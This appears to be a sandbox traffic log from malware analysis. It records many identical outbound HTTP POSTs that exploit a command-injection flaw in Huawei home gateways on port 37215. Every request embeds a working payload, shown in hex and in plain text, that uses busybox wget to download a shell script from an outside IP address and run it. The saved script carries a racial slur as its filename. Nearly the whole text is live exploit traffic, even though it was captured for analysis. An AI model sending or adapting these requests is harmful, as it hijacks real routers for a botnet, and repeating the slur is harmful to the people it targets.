Feb 19, 2024 18:37:01.346091032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521656036 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.336700916 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.15	46540	31.136.227.84	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.376063108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.930594921 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:46.018620968 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.290453911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.642502069 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.346084118 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
